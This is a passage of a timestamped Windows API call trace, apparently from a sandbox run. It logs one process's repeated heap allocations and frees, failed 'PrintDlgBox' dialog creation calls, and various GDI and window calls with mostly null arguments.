0x2eecf0 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.661] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.661] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.661] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.661] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.662] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.662] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.662] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.662] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.662] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.662] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.662] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.662] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.662] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.662] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.662] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.662] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193803243, cy=27, fuLoad=0x0) returned 0x0 [0026.662] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.663] GetLastError () returned 0x715 [0026.663] SetLastError (dwErrCode=0x715) [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.663] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.663] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.663] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.663] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.664] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.664] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.664] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.664] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.664] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.664] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.664] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.664] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.665] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.665] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.665] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.665] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.665] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.665] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.665] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.665] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.665] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.666] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.666] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.666] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.666] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.666] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.666] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.666] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193784298, cy=27, fuLoad=0x0) returned 0x0 [0026.666] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.666] GetLastError () returned 0x715 [0026.666] SetLastError (dwErrCode=0x715) [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.666] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.666] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.666] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.666] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.667] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.667] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.667] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.667] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.667] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.667] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.667] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.667] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.668] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.668] SetDlgItemTextA (hDlg=0x0, 